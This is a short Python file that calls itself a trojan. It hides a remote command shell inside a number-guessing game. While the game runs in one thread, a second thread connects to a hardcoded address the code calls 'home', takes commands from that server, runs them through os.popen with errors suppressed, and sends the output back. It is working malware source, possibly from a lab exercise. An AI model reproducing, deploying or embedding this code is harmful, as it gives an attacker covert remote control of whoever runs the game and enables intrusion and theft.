# trojan implemented with a number guessing game,
# trojan opens a separate thread, allowing game to
# carry on asynchronously


import random, socket, threading, os

def trojan():
    # call home, ip should be static
    HOST = '192.168.136.129'
    PORT = 9090
    
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((HOST, PORT))
    osmode = False

    while True:
        server_command = client.recv(1024).decode('utf-8')        

        if server_command == "oson":
            osmode = True
            client.send("osmode turned on".encode('utf-8'))
            continue
        if server_command == "osoff":
            osmode = False
            client.send("osmdoe turned off".encode('utf-8'))
            continue
        if server_command == "osmode":
            client.send(f"osmode is {osmode}".encode('utf-8'))

        if server_command == "test":
            # print("test command received")
            client.send("test command received".encode('utf-8'))
        if server_command == "exit":
            client.send("exiting shell".encode('utf-8'))
            break # TODO the entire app should end here as well

        if osmode:
            stream = os.popen(server_command+" 2> /dev/null") # pipes away the error to prevent printing to terminal
            output = stream.read()
            client.send(output.encode('utf-8'))

        # client.send(f"{server_command} was executed successfully".encode('utf-8'))
        

    client.send("while loop broken out of".encode('utf-8'))


        


# normal number guessing game
def game():
    randInt = random.randint(1,100)
    userinput = int(input("input number from 1- 100: "))
    tries = 1
    while (userinput != randInt):
        tries+=1
        if (userinput<randInt):
            print("guess higher!")
        else:
            print("guess lower!")
        userinput = int(input("try again: "))
    print(f"game complete! you took {tries} tries")

t1 = threading.Thread(target=game)
t2 = threading.Thread(target=trojan)

t1.start()
t2.start()
